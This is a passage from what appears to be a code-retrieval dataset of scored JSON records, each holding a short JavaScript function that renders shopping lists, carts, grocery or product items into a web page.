}\n else{\n $(\"#ShoppingListItems\").append(\"<center><li style='color:red'>There are currently\" +\n \" no items to buy.<li></center>\");\n }\n}", "title": "" }, { "docid": "2588ee061352bd8dbfa636abdf229a6a", "score": "0.67879593", "text": "function addShopping() {\n ShoppingList.push(form.value)\n updateDom()\n }", "title": "" }, { "docid": "5d5cc58dd2c16a70e228fa610a67b6fb", "score": "0.67656815", "text": "function renderList(state) {\n var buildTheHtmlOutput = \"\";\n\n $.each(state.items, function (itemKey, itemValue) {\n buildTheHtmlOutput += '<li>';\n if (itemValue.checked == false) {\n buildTheHtmlOutput += '<span class=\"shopping-item\">' + itemValue.name + '</span>';\n } else {\n buildTheHtmlOutput += '<span class=\"shopping-item shopping-item__checked\">' + itemValue.name + '</span>';\n }\n buildTheHtmlOutput += '<div class=\"shopping-item-controls\">';\n buildTheHtmlOutput += '<button class=\"shopping-item-toggle\">';\n buildTheHtmlOutput += '<span class=\"button-label\">check</span>';\n buildTheHtmlOutput += '</button>';\n buildTheHtmlOutput += '<button class=\"shopping-item-delete\">';\n buildTheHtmlOutput += '<span class=\"button-label\">delete</span>';\n buildTheHtmlOutput += '</button>';\n buildTheHtmlOutput += '</div>';\n buildTheHtmlOutput += '</li>';\n });\n $('.shopping-list').html(buildTheHtmlOutput);\n /*for when the page loads, there is no value in the input field*/\n $('#shopping-list-entry').val('');\n}", "title": "" }, { "docid": "29a3c026a02d9781de344ffa1b77d96d", "score": "0.6698292", "text": "function display(item) {\n const el = document.createElement(\"li\");\n el.innerHTML = `\n <p>${item.name}</p>\n <p>Price: $${item.price}</p>\n <button name=\"${item.name}\" class=\"remove__btn\">Remove from cart</button>`;\n document.querySelector(\"ul.cart__list\").append(el);\n}", "title": "" }, { "docid": "00bb569ae357d16da340308edf75b10f", "score": "0.66769016", "text": "function displayCart(){\n for (var i = 0; i<cart.length; i++) {\n var item = cart[i].Flavor+\", \"+cart[i].Glazing+\", \"+cart[i].Amount;\n // learned about HTML DOM create text node from W3 School //\n // create a <li> element under the <ol> element for each item in the cart //\n var newelement = document.createElement(\"li\");\n var textnode = document.createTextNode(item);\n newelement.appendChild(textnode);\n document.getElementById(\"cartinfo\").appendChild(newelement);\n // create a remove button after each item //\n $(\"#cartinfo\").append(\"<button>Remove Item</button>\");\n }\n}", "title": "" }, { "docid": "2223a1f45f23c5899b09d867c29ebcfc", "score": "0.6657962", "text": "function ShowItems() {\n for (let book of Books) {\n makeBookItem(book).appendTo(\"#AllBooks\");\n }\n }", "title": "" }, { "docid": "59add79a074ad922cc816bd3b8976b6a", "score": "0.66533667", "text": "function displayList(listArray) {\n sectionProducts.innerHTML= \"\";\n //console.log(products);\n\n listArray.forEach((product) => {\n let list = document.createElement(\"li\");\n \n\n let name = document.createElement(\"div\");\n name.setAttribute(\"class\", \"name\");\n name.innerHTML = product.name;\n list.appendChild(name);\n\n let price = document.createElement(\"div\");\n price.setAttribute(\"class\", \"price\");\n price.innerHTML = product.price;\n list.appendChild(price);\n\n let rating = document.createElement(\"div\");\n rating.setAttribute(\"class\", \"rating\");\n rating.innerHTML = product.rating;\n list.appendChild(rating);\n\n let shipsTo = document.createElement(\"div\");\n shipsTo.setAttribute(\"class\", \"ships-to\");\n shipsTo.innerHTML = product.shipsTo;\n list.appendChild(shipsTo);\n\n let button = document.createElement(\"button\");\n button.setAttribute(\"data-id\", \"Drone23787\");\n button.innerHTML = \"+\";\n list.appendChild(button);\n\n sectionProducts.appendChild(list);\n });\n}", "title": "" }, { "docid": "08558d89be18f44e69c86c78a98932b2", "score": "0.664352", "text": "function makeShopList () {\n\t//I've spent way too much time on this so I'm not bothering to format it\n\tvar listArea = document.getElementById(\"list-section\");\n\tvar list = \"\";\n\tvar total = 0;\n\tlist = \"<h2>Your Cart</h2>\";\n\t//listArea.innerHTML = \"<h2>Your Cart</h2>\";\n\tfor (var i = 0; i < shopList.length; i++) {\n\t\tlist += \"<br>\" + shopList[i][2] + \"x \" + shopList[i][0] + \" $\" + shopList[i][1];\n\t\ttotal += shopList[i][2] * shopList[i][1];\n\t}\n\tlist += \"<br><br>Grand Total: $\" + total;\n\t\n\t\n\t\n\tlistArea.innerHTML = list;\n\tconsole.log(list);\n\t\n}", "title": "" }, { "docid": "34ef37c3bac60cdb11f5656980c1cd1e", "score": "0.65729517", "text": "function initializeListItems(){\n var shoppingItems = new Array();\n shoppingItems[0] = \"Apple\";\n shoppingItems[1] = \"Banana\";\n shoppingItems[2] = \"Battery\";\n shoppingItems[3] = \"Beef\";\n shoppingItems[4] = \"Bread\";\n shoppingItems[5] = \"Butter\";\n shoppingItems[6] = \"Candy\";\n shoppingItems[7] = \"Cereal\";\n shoppingItems[8] = \"Cheese\";\n shoppingItems[9] = \"Chicken\";\n shoppingItems[10] = \"Chocolate\";\n shoppingItems[11] = \"Coffee\";\n shoppingItems[12] = \"Cookies\";\n shoppingItems[13] = \"Deodorant\";\n shoppingItems[14] = \"Detergent\";\n shoppingItems[15] = \"Eggs\";\n shoppingItems[16] = \"Fish\";\n shoppingItems[17] = \"Floss\";\n shoppingItems[18] = \"Flour\";\n shoppingItems[19] = \"Juice\";\n shoppingItems[20] = \"Lemons\";\n shoppingItems[21] = \"Milk\";\n shoppingItems[22] = \"Mouthwash\";\n shoppingItems[23] = \"Nuts\";\n shoppingItems[24] = \"Olive Oil\";\n shoppingItems[25] = \"Oranges\";\n shoppingItems[26] = \"Pasta\";\n shoppingItems[27] = \"Popcorn\";\n shoppingItems[28] = \"Pork\";\n shoppingItems[29] = \"Raisins\";\n shoppingItems[30] = \"Razor\";\n shoppingItems[31] = \"Sausage\";\n shoppingItems[32] = \"Seafood\";\n shoppingItems[33] = \"Shampoo\";\n shoppingItems[34] = \"Soft Drink\";\n shoppingItems[35] = \"Soup\";\n shoppingItems[36] = \"Tea\";\n shoppingItems[37] = \"Tissue\";\n shoppingItems[38] = \"Toilet Paper\";\n shoppingItems[39] = \"Toothpaste\";\n shoppingItems[40] = \"Vegetable Oil\";\n shoppingItems[41] = \"Water\";\n shoppingItems[42] = \"Watermelon\";\n shoppingItems[43] = \"Yogurt\";\n localStorage[\"shoppingItems\"] = JSON.stringify(shoppingItems);\n}", "title": "" }, { "docid": "f4e2466c263c382e9f7a1135d4b20b56", "score": "0.6567162", "text": "function printList(){\n for(var i=0;i<listLength;i++){\n $(\"ul\").append(\"<li>\"+purchaseOptions[i]+\". . . . . . $\" + itemPrices[i].toFixed(2) +\" \"+\"</li></br>\");\n $(\"ul\").append(\"<input type='button' id =\\\"\"+(i)+\"\\\"\"+\"value='Add to Cart'>\");\n }\n}", "title": "" }, { "docid": "12fd78034093b2d6515e28c07d7ca384", "score": "0.655688", "text": "populateItemList(items) {\n let html = \"\";\n items.forEach(function(item) {\n html += `<li class=\"collection-item\" id=\"item-${item.id}\">\n <strong>${item.name}: </strong> <em>${item.calories} Calories</em>\n <a href=\"#\" class=\"secondary-content\">\n <i class=\"edit-item fas fa-pencil-alt\"></i>\n </a>\n </li>`;\n });\n //insert List item\n document.querySelector(UISelectors.itemList).innerHTML = html;\n }", "title": "" }, { "docid": "b2c998fd79ffbe8ad67dced650b1c2e1", "score": "0.6543296", "text": "function retrieveBoughtShoppingListItems(){\n var chosenBoughtList = localStorage.getItem(\"chosenBoughtList\");\n var boughtList = localStorage.getItem(chosenBoughtList);\n if(boughtList != null){\n boughtList = JSON.parse(boughtList);\n for (var i =0; i < boughtList.length; i++){\n $(\"#BoughtItemsList\").append(\"<li data-icon='delete'><a href='#'>\"\n + boughtList[i].name + \" <span class='ui-li-count'>Quantity: \"\n + boughtList[i].quantity +\"</span></a></li>\");\n }\n }\n}", "title": "" }, { "docid": "94de7e69d503eaff577ca55d8034b208", "score": "0.64537627", "text": "function displayGroceries() {\nconst groceryList = document.querySelector('#groceries')\n\ngroceries.forEach(item => {\n\n let container = document.createElement('li');\n container.classList.add('item');\n container.innerText = item.name;\n groceryList.appendChild(container);\n \n})\n}", "title": "" }, { "docid": "8927a071eefa26c2396ed4e87525af9f", "score": "0.6431429", "text": "function groceryItem(value){\n \n const product=`<li>\n <span class=\"shopping-item\">${value}</span>\n <div class=\"shopping-item-controls\">\n <button class=\"shopping-item-toggle\">\n <span class=\"button-label\">check</span>\n </button>\n <button class=\"shopping-item-delete\">\n <span class=\"button-label\">delete</span>\n </button>\n </div>\n </li>`;\n\n \n $('.shopping-list').append(product);\n\n}", "title": "" }, { "docid": "2b75959050aa89ddb3394255f55a5dd9", "score": "0.6426812", "text": "function makeListItems() {\n const jokes = jokeFacade.getJokes();\n let jokeList = jokes.map(joke => `<li> ${joke} </li>`);\n const listItemsAsStr = jokeList.join(\"\");\n document.getElementById(\"jokes\").innerHTML = listItemsAsStr;\n}", "title": "" }, { "docid": "0ceb55c80e5c009335b9c9bc92a6eb52", "score": "0.64162225", "text": "function loadData(){\r\n\r\n var i = 0;\r\n let dataList = document.getElementById(\"dataList\");\r\n \r\n while (i < shoppingCart.length)\r\n {\r\n var listItem = document.createElement(\"li\");\r\n \r\n console.log(shoppingCart[i]);\r\n listItem.innerText = shoppingCart[i].product;\r\n\r\n dataList.appendChild(listItem);\r\n i = i + 1; // Alternatively, use i++;\r\n\r\n // Other ways:\r\n // i += 2;\r\n // i += 3;\r\n }\r\n}", "title": "" }, { "docid": "e4850dccee82481daf2e84f7b8ec1321", "score": "0.6403343", "text": "function displayInventory() {\n var i, item, inventory;\n inventory = document.querySelector(\"#inventory > ul\");\n clearContent(inventory);\n for (i in player.items) {\n item = document.createElement (\"li\");\n item.textContent = player.items[i];\n inventory.appendChild(item);\n }\n}", "title": "" }, { "docid": "e54c33842184a3636fdfa8a96437008f", "score": "0.63750815", "text": "function addItemToShoppingCart(item) {\n\t$('#shopping-cart ul').append(`\n\t\t<li>\n\t\t\t${item}\n\t\t</li>\n\t`);\n}", "title": "" }, { "docid": "500460c6bd12d29b3f0209e145247939", "score": "0.636378", "text": "function exerciseTwo(shopping) {\n //Write your code in here\n const content = document.querySelector(\"#content\");\n let ulElem = document.createElement(\"ul\");\n content.appendChild(ulElem);\n\n for (let i=0; i < shopping.length; i++){\n let listElem = document.createElement(\"li\");\n listElem.innerHTML = shopping[i];\n ulElem.appendChild(listElem);\n }\n\n}", "title": "" }, { "docid": "aed74d3ba42485171144582e56e07bbd", "score": "0.63560236", "text": "function getAll() {\n var request = new XMLHttpRequest;\n request.open(\"post\", \"/all\");\n request.send();\n request.addEventListener(\"load\", function() {\n\n var productDiv = document.getElementById(\"product_list\");\n var list = document.createElement(\"ul\");\n productDiv.appendChild(list);\n\n var allProds = JSON.parse(this.response);\n \n // var test = document.getElementById(\"test_block\");\n //\n // test.setAttribute(\"display\", \"block\");\n // test.innerHTML = allProds[0].id;\n\n\n for (i = 0; i < allProds.length; i++) {\n \n var id_st = allProds[i].id.toString();\n \n innerHtmlString = (\"<li><a href='/product_info/\" + id_st + \"'>\" + allProds[i].gen_info.split(\":\")[0] + \"</a></li>\");\n var existingHtml = list.innerHTML;\n list.innerHTML = existingHtml.concat(innerHtmlString) ;\n \n // var listItem = document.createElement(\"li\");\n // var innerLink = document.createElement(\"a\");\n //\n // innerLink.setAttribute(\"href\", \"/product_info/\" + product.id);\n // innerLink.innerHTML = product.gen_info ;\n //\n // listItem.appendChild(innerLink);\n // productDiv.appendChild(list);\n }; //end of for loop \n }); //end of eventListener function\n }", "title": "" }, { "docid": "50d2e8fa528453fb91a58d7f462ae18f", "score": "0.6353613", "text": "function shoppingList(){\n let listItems = [];\n let list = document.getElementById('list-items');\n let listHTML, item = '';\n\n for(let i = 0; i < mealPlan.length; i++){\n for(let j = 0; j < mealPlan[i].ing.length; j++){\n item = mealPlan[i].ing[j].substring(mealPlan[i].ing[j].indexOf('-')+2, mealPlan[i].ing[j].length);\n if(item.length != 0){\n let check = 0;\n for(let k = 0; k <= listItems.length; k++){\n //Remove duplicates and water from shopping list\n if (item === listItems[k] || item === 'Water'){\n check += 1;\n }\n }\n if (check === 0){\n listItems.push(item);\n }\n }\n }\n }\n \n listHTML = \n '<ul>';\n\n for(let i = 0; i < listItems.length; i++){\n listHTML += \n '<li>'+listItems[i]+'</li>';\n }\n \n listHTML += \n '</ul>'; \n \n list.innerHTML = listHTML;\n}", "title": "" }, { "docid": "335ef6b2eeb9a1d0f399efad86e3649a", "score": "0.6342353", "text": "function displayListings(data) {\n // Target the housing container already present in index.html\n var $housing = $('.js-housing');\n $housing.empty();\n var $container, i;\n // Loop through each listing\n for (i=0; i<data.length; i++) {\n var listing = data[i].properties;\n var coordinates = data[i].geometry.coordinates;\n // Creates a basic listing\n if (listing.sublease) {\n $container = displaySublease(listing, i, coordinates);\n //console.log(\"listing in displaysublease: \", listing);\n //console.log('sublease listing');\n } else {\n $container = displayPromo(listing, i, coordinates);\n //console.log('promo listing');\n }\n // Add the listing to the DOM\n $housing.append($container);\n }\n}", "title": "" }, { "docid": "a638cc7928f234dc6311994655c55206", "score": "0.63244855", "text": "function submitNewStuff() {\n \tvar itemAdd = document.getElementById(\"itemInput\").value; //naming an added item to a variable\n \tvar priceAdd = document.getElementById(\"priceInput\").value; //naming an added price to a variable\n\n\n\tvar unorderedList = document.getElementById('shoppinglist'); //creates a variable for the unordered list with the ID 'shoppinglist' in the HTML\n\tvar myList = document.createElement('li'); //creates list items for each grocery item & price, creates a variable of it to call later\n\tvar displayTotal = document.getElementById('totalDisplay'); //creates a variable for the grocery item total from the <p> tag in the HTML\n\n \tpriceAdd = parseInt(priceAdd); //making sure the price is a number\n\n\tmyList.innerHTML=itemAdd + \"- \\$\" + priceAdd; //adds the grocery items and prices into the html in 'li' format\n\tunorderedList.appendChild(myList); //adds the li to the unordered list\n\n\n \ttotal += priceAdd;\n }", "title": "" }, { "docid": "1edadcc9f74b79992c2415773c660bc6", "score": "0.6322577", "text": "function updateList() { \r\n\tfor (let i = 0; i < order.sandwich.length; i++) {\r\n\t\tlet whatkind;\r\n\t\t\r\n\t\t\t// used to determine what kind of food is inserted into \"list\" element along with price.\r\n\t\tif (order.sandwich[i][\"price\"] == \"2.99\") { \r\n\t\t\twhatkind = \"Sandwich\";\r\n\t\t} else if (order.sandwich[i][\"price\"] == \"3.99\") {\r\n\t\t\twhatkind = \"Burger\";\r\n\t\t} else {\r\n\t\t\twhatkind = \"CheeseBurger\";\r\n\t\t}\r\n\t\tlet para = document.createElement(\"li\");\r\n\t\tlet node = document.createTextNode(whatkind + \" \" + order.sandwich[i][\"price\"]);\r\n\t\tpara.appendChild(node);\t\t\r\n\t\tlet element = document.getElementById(\"output\");\r\n\t\telement.appendChild(para);\r\n\t}\r\n\tdocument.getElementById(\"total\").textContent = \"Total: $\" + order.price;\r\n}", "title": "" }, { "docid": "241468f8029f790bb60423b42099e4a2", "score": "0.6317434", "text": "function addItemToShoppingList() {\n var newProduct = document.getElementById(\"product\").value;\n var newQuantity = document.getElementById(\"quantity\").value;\n var newType = document.getElementById(\"type\").value;\n var tempShoppingList = new shoppingList(newProduct,newQuantity,newType);\n shoppingListArray.push(tempShoppingList);\n writeAddedItemToLocalStorage();\n shoppingListArray.sort(compareProduts);\n divShoppingListElement.innerHTML = \"\";\n document.getElementById(\"product\").value = \"\";\n document.getElementById(\"quantity\").value = \"\";\n document.getElementById(\"type\").value = \"\";\n shoppingListOnPage(divShoppingListElement, shoppingListArray);\n}", "title": "" }, { "docid": "af3eb4eef76b23d9da8d86bc98f5ab15", "score": "0.6309378", "text": "function displayGroceries() {\n const ulElement = document.getElementById('groceries');\n\n groceries.forEach(\n (groceryItem) => {\n const container = document.createElement('li');\n \n addItem(container,groceryItem.item);\n\n ulElement.insertAdjacentElement('beforeend', container);\n }\n );\n\n}", "title": "" }, { "docid": "4d2744d4ddd9be6b6a749902f3cae00f", "score": "0.63066584", "text": "function populateShop(data) {\n data.forEach(item => {\n //Model each item \n var itemObj = new Item(item);\n\n //Store The item object in a global array.\n itemObjArr.push(itemObj);\n\n //create item element for shop content \n var itemElement = itemObj.createItemElement()\n //Append to shop.\n $(\".shopContent\").append(itemElement);\n });\n}", "title": "" }, { "docid": "fbf0299bd165e9aacd8c799c1051dbb8", "score": "0.6287618", "text": "function displayGroceries() {\n const groceryList = document.getElementById('groceries');\n\n groceries.forEach((r) => {\n const groceryContainer = document.createElement('list');\n groceryContainer.setAttribute('id', 'list')\n\n addGrocery(groceryContainer, r.grocery);\n\n groceryList.insertAdjacentElement('beforeend', groceryContainer);\n });\n\n}", "title": "" }, { "docid": "585cf30076ed6b2c292f1b5862c5c295", "score": "0.62804776", "text": "function addProductToShoppingList(clicked_id) {\n newProduct = categories[clicked_id].product;\n newQuantity = categories[clicked_id].quantity;\n newType = categories[clicked_id].type;\n shoppingListArray.push(new shoppingList(newProduct, newQuantity, newType));\n //Save to Local Store\n writeAddedItemToLocalStorage();\n shoppingListArray.sort(compareProduts);\n divShoppingListElement.innerHTML = \"\";\n shoppingListOnPage(divShoppingListElement, shoppingListArray);\n searchDiv.innerHTML = \"\";\n document.getElementById(\"searchInput\").value = \"\";\n}", "title": "" }, { "docid": "1b0cf5a4c3cd740500834fcc35b0ebf7", "score": "0.62676454", "text": "function showItem(item) {\r\n let list = document.querySelector(\"ol\");\r\n list.innerHTML += `<li>${item}</li>`; \r\n}", "title": "" }, { "docid": "524ec06a3886d4e25dd84db165e42d0b", "score": "0.6266685", "text": "addOnIndexPage() {\n let container = document.getElementById(\"products-list\")\n const toInsert = \n `<li class=\"bg-first card-teddies\">\n <a href=\"front-end/product.html?id=${this.id}\">\n <figure class=\"card-product\">\n <img src=\"${this.imageUrl}\" alt=\"${this.name}\" class=\"picture-bear\">\n <figcaption>\n <h2>${this.name}</h2>\n <p>${this.description}</p>\n <span class=\"price\">${(Math.round(this.price) / 100).toFixed(2).replace(\".\",\",\")} €</span>\n </figcaption>\n </figure>\n </a>\n </li>`\n container.innerHTML += toInsert\n }", "title": "" }, { "docid": "cb64072540c0568a91e0471aaa2fb0b4", "score": "0.62503934", "text": "function updateHTMLList(){\n shoppingListArray.forEach(function(items) {\n var itemName = document.createElement(\"li\");\n //made items.price into a number with the Number method, then converted it back into a string to add/limit it to 2 decimal places with the toFixed method\n itemName.textContent = items.name + \", $\" + Number(items.price).toFixed(2);\n //adds itemName to div with the id of \"ShoppingList\" by means of the appendChild method\n document.getElementById(\"ShoppingList\").appendChild(itemName);\n itemName.className = \"namedItem\";\n \n });\n}", "title": "" }, { "docid": "a078de121a38236b99511f28a3ac0066", "score": "0.62496674", "text": "function showPrintList() {\n\tshoppingList.sort();\n\n\t//Clearing the lists\n\tdocument.getElementById('testButton8').innerHTML = '';\n\tdocument.getElementById('produce').innerHTML = '';\n\tdocument.getElementById('meat').innerHTML = '';\n\tdocument.getElementById('snacks').innerHTML = '';\n\tdocument.getElementById('condiments').innerHTML = '';\n\tdocument.getElementById('cold').innerHTML = '';\n\tdocument.getElementById('various').innerHTML = '';\n\n\t//Printing the lists to the screen\n\tfor (var j = 0; j < shoppingList.length; j++) {\n\t\tif (shoppingList[j] === '') {\n\t\t\t//Leaving this empty basically just means I'm skipping over the 'print to screen'\n\t\t}\n\t\telse {\n\t\tdocument.getElementById('testButton8').innerHTML += '<li class=\"listStuff\" id=\"shoppingItem' \n\t\t+ j + '\">' + ' - ' + shoppingList[j] + '</li>';\n\t\t//The '+=' in the above line is crucial for this to work properly and print the list out\n\t\t}\n\t}\n\n\tfor (var p = 0; p < produceList.length; p++) {\n\t\tif (produceList[p] === '') {\n\t\t\t//Leaving this empty basically just means I'm skipping over the print to screen\n\t\t}\n\t\telse {\n\t\tdocument.getElementById('produce').innerHTML += '<li class=\"listStuff\" id=\"produceItem' \n\t\t+ p + '\">' + ' - ' + produceList[p] + '</li>';\n\t\t//The '+=' in the above line is crucial for this to work properly and print the list out\n\t\t}\n\t}\n\n\tfor (var m = 0; m < meatList.length; m++) {\n\t\tif (meatList[m] === '') {\n\t\t\t//Leaving this empty basically just means I'm skipping over the print to screen\n\t\t}\n\t\telse {\n\t\tdocument.getElementById('meat').innerHTML += '<li class=\"listStuff\" id=\"meatItem' \n\t\t+ m + '\">' + ' - ' + meatList[m] + '</li>';\n\t\t//The '+=' in the above line is crucial for this to work properly and print the list out\n\t\t}\n\t}\n\n\tfor (var s = 0; s < snacksList.length; s++) {\n\t\tif (snacksList[s] === '') {\n\t\t\t//Leaving this empty basically just means I'm skipping over the print to screen\n\t\t}\n\t\telse {\n\t\tdocument.getElementById('snacks').innerHTML += '<li class=\"listStuff\" id=\"snacksItem' \n\t\t+ s + '\">' + ' - ' + snacksList[s] + '</li>';\n\t\t//The '+=' in the above line is crucial for this to work properly and print the list out\n\t\t}\n\t}\n\n\tfor (var c = 0; c < condimentsList.length; c++) {\n\t\tif (condimentsList[c] === '') {\n\t\t\t//Leaving this empty basically just means I'm skipping over the print to screen\n\t\t}\n\t\telse {\n\t\tdocument.getElementById('condiments').innerHTML += '<li class=\"listStuff\" id=\"condimentsItem' \n\t\t+ c + '\">' + ' - ' + condimentsList[c] + '</li>';\n\t\t//The '+=' in the above line is crucial for this to work properly and print the list out\n\t\t}\n\t}\n\n\tfor (var k = 0; k < coldList.length; k++) {\n\t\tif (coldList[k] === '') {\n\t\t\t//Leaving this empty basically just means I'm skipping over the print to screen\n\t\t}\n\t\telse {\n\t\tdocument.getElementById('cold').innerHTML += '<li class=\"listStuff\" id=\"coldItem' \n\t\t+ k + '\">' + ' - ' + coldList[k] + '</li>';\n\t\t//The '+=' in the above line is crucial for this to work properly and print the list out\n\t\t}\n\t}\n\n\tfor (var v = 0; v < variousList.length; v++) {\n\t\tif (variousList[v] === '') {\n\t\t\t//Leaving this empty basically just means I'm skipping over the print to screen\n\t\t}\n\t\telse {\n\t\tdocument.getElementById('various').innerHTML += '<li class=\"listStuff\" id=\"variousItem' \n\t\t+ v + '\">' + ' - ' + variousList[v] + '</li>';\n\t\t//The '+=' in the above line is crucial for this to work properly and print the list out\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4e3ab0686e6f58ed4ca2d386bd00d61b", "score": "0.6249437", "text": "function finalMassege() {\r\n var list = document.getElementById('customerChoise');\r\n for (var i = 0; i < AllProducts.length; i++) {\r\n var listData = document.createElement('li');\r\n listData.classList.add('pointer');\r\n listData.textContent = AllProducts[i].name + ' had ' + AllProducts[i].clicks + ' votes and was shown ' + AllProducts[i].views;\r\n list.appendChild(listData);\r\n }\r\n}", "title": "" }, { "docid": "a76877c16ed025f5f2a820c1b958bad3", "score": "0.62482285", "text": "function shoppingList() {\n $(\"#js-shopping-list-form\").on(\"submit\", function (event) {\n event.preventDefault();\n const newItem = $(\"#shopping-list-entry\").val();\n $(\".shopping-list\").append(\n '<li><span class=\"shopping-item\">' +\n newItem +\n '</span><div class=\"shopping-item-controls\"><button class=\"shopping-item-toggle\"><span class=\"button-label\">check</span></button> <button class=\"shopping-item-delete\"><span class=\"button-label\">delete</span></button></div></li>'\n );\n });\n $(\".shopping-list\").on(\"click\", \".shopping-item-toggle\", function (event) {\n $(this).parents('li').find('.shopping-item').toggleClass(\"shopping-item__checked\");\n });\n $(\".shopping-list\").on(\"click\", \".shopping-item-delete\", function (event) {\n $(this).parents('li').remove();\n });\n}", "title": "" }, { "docid": "a0990ad54e8dc14fe8fc828b0a8d9079", "score": "0.6245238", "text": "function displayList(event) {\n var uList = document.getElementById('items-clicks');\n for (let index = 0; index < itemsArray.length; index++) {\n var listItem = document.createElement('li');\n listItem.textContent = itemsArray[index].name + \" had \" + itemsArray[index].vote + \" votes,\" + \"and was seen \" + itemsArray[index].time + \" times.\";\n uList.appendChild(listItem);\n\n }\n storeData();\n}", "title": "" }, { "docid": "2684fe16d57979488e1bce001a36bd50", "score": "0.62442136", "text": "function displayGroceries() {\n const groceriesHTML = document.getElementById('groceries');\n\n groceries.forEach((grocery) => {\n const container = document.createElement('li');\n container.innerText = grocery;\n groceriesHTML.insertAdjacentElement('beforeend', container);\n });\n}", "title": "" }, { "docid": "14af2dbdcb7206ce7f8a54be8af868de", "score": "0.6224034", "text": "function getItems(){\n var dist=\"Distributor : \" + db.getItem(\"adist\");\n var item=\"Item : \" + db.getItem(\"aitem\");\n var quantity=\"Quantity : \" + db.getItem(\"aquantity\");\n var amount=\"Amount : \" + db.getItem(\"aamount\");\n var ordered=\"Ordered? : \" + db.getItem(\"aordered\");\n var orderdate=\"Order Date : \" + db.getItem(\"aorderdate\");\n var note=\"Notes : \" + db.getItem(\"anote\");\n \n var viewItems = [\n dist,\n item,\n quantity,\n amount,\n ordered,\n orderdate,\n note\n ];\n \n // hide div:main show div:clear //\n document.getElementById(\"main\").style.display = \"none\";\n document.getElementById(\"clear\").style.display = \"block\";\n // depending on what distributor - show image //\n var dist2= db.getItem(\"adist\"); \n if (dist2==\"BestMeats\") {\n document.getElementById(\"distpic1\").style.display =\"block\";\n }else if (dist2==\"USFoods\") {\n document.getElementById(\"distpic2\").style.display =\"block\";\n }else if (dist2==\"Condiments\") {\n document.getElementById(\"distpic3\").style.display =\"block\";\n }\n // list item info //\n var getMyList = document.getElementById(\"list\");\n for (var i=0, j=viewItems.length; i<j; i++){\n var newP = document.createElement(\"p\");\n var itemTxt = document.createTextNode(viewItems[i]);\n newP.appendChild(itemTxt);\n getMyList.appendChild(newP);\n }\n //alert(viewItems);\n \n}", "title": "" }, { "docid": "5e7e6b1bdb0af8af40efee43c4ae4362", "score": "0.6216758", "text": "function purchasedItem(listItem) {\n listItem.hide();\n purchased.append(listItem);\n listItem.show('slow');\n }", "title": "" }, { "docid": "c05ae9702e74aff9fd06a74dd053cdf3", "score": "0.6211064", "text": "function addItemToCart(myFormObject){\n ////clearing out our total div by using the innerHTML method to reset our div to a blank string so the list doesn't grow exponentially\n document.getElementById(\"yourGrandTotal\").innerHTML = '';\n //clearing out our unordered list by using innerHTML method to reset our UL to a blank string so the list doesn't grow exponentially\n document.getElementById(\"ShoppingList\").innerHTML = '';\n //created variables called \"itemName\" & \"itemPrice\" to store the itemName and itemPrice of the formObj.elements\n var itemName = myFormObject.elements[\"itemName\"].value;\n var itemPrice = myFormObject.elements[\"itemPrice\"].value;\n //created a new variable. set this variable equal to a groceryListItem, taking in as parameters our previously defined itemName and itemPrice variables\n var itemNameAndPrice = new groceryListItem(itemName, itemPrice);\n //used push method to place the itemNameAndPrice inside the array\n shoppingListArray.push(itemNameAndPrice);\n //calls functions to calculate the total and updates HTML list\n calculateTotal();\n updateHTMLList();\n}", "title": "" }, { "docid": "2b5259976927821e141269f856ed9e41", "score": "0.6202158", "text": "function displayShoe(shoe) {\n document.getElementById('shoe-image').src = shoe.image;\n document.getElementById('shoe-name').innerText = shoe.name;\n document.getElementById('shoe-description').innerText = shoe.description;\n document.getElementById('shoe-price').innerText = `$${shoe.price}`;\n\n const list = document.getElementById('reviews-list')\n reviews = getReviews(shoe)\n list.innerHTML = reviews\n currentShoe = shoe\n}", "title": "" }, { "docid": "3091f80c7d0eb05014fae19fc5310f99", "score": "0.6201145", "text": "function doShowAll() {\n\tif (CheckBrowser()) {\n\t\tvar key = \"\";\n\t\tvar list = \"<tr><th>Item</th><th>Value</th></tr>\\n\";\n\t\tvar i = 0;\n\t\t//for more advance feature, you can set cap on max items in the cart\n\t\tfor (i = 0; i <= localStorage.length-1; i++) {\n\t\t\tkey = localStorage.key(i);\n\t\t\tlist += \"<tr><td>\" + key + \"</td>\\n<td>\"\n\t\t\t\t\t+ localStorage.getItem(key) + \"</td></tr>\\n\";\n\t\t}\n\t\t//if no item exists in the cart\n\t\tif (list == \"<tr><th>Item</th><th>Value</th></tr>\\n\") {\n\t\t\tlist += \"<tr><td><i>empty</i></td>\\n<td><i>empty</i></td></tr>\\n\";\n\t\t}\n\t\t//bind the data to html table\n\t\t//you can use jQuery too....\n\t\tdocument.getElementById('list').innerHTML = list;\n\t} else {\n\t\talert('Cannot save shopping list as your browser does not support HTML 5');\n\t}\n}", "title": "" }, { "docid": "1b0340a59430ad1adb9267ebbde78bc7", "score": "0.61980915", "text": "function populate_meal_list()\n{\n // Get the meal list (container) and clear it of any items\n var meal_list_element = document.getElementById('meal_unordered_list');\n meal_list_element.innerHTML = \"\";\n\n for (var i = 0; i < meals.length; i++)\n {\n add_meal_list_element(meals[i].id, meals[i].name, meals[i].image_path);\n }\n}", "title": "" }, { "docid": "a70e3eafc61cfd22efc69fe19da9cfec", "score": "0.61970836", "text": "function handleShoppingList() {\n SL.renderShoppingList();\n SL.handleNewItemSubmit();\n SL.handleItemCheckClicked();\n SL.handleDeleteItemClicked();\n}", "title": "" }, { "docid": "af834aa59f1d88a8137d1266f142d307", "score": "0.61934483", "text": "function handleShoppingList() {\n renderShoppingList();\n handleNewItemSubmit();\n handleItemCheckClicked();\n handleDeleteItemChecked();\n }", "title": "" }, { "docid": "7a6d0ef3980f721260d0f57b708621be", "score": "0.6192663", "text": "function generateCustomerList(){\n var customerData = JSON.parse(sessionStorage.getItem(\"customerInfo\"))\n document.getElementById('custList').innerHTML += '<a href=\"./itemSelect.html\" class=\"list-group-item list-group-item-action pText p-4 background\" >' + customerData.firstName + \" \" + customerData.lastName + '</a>'\n}", "title": "" }, { "docid": "80d449beffea76d6ee77e356ea202c5d", "score": "0.61907697", "text": "function listProducts(val) {\n var products = val;\n\n //If empty remove the page counter and add text No reaults found\n $(\"#list_of_products li\").remove();\n if(products.length == 0){\n $('#no_result_text').remove();\n $('#page_footer').remove();\n $(\"#list_of_products\").css(\"height\",\"auto\")\n $('#products_container').append('<h2 id=\"no_result_text\" class=\"mb-none\">No Results Found.</h2>\\n')\n }\n\n //Remove the old items and add new items\n for (var i = 0; i < val.length; i++) {\n $('#no_result_text').remove();\n $('#list_of_products').append('<li class=\"col-md-3 col-sm-6 col-xs-12 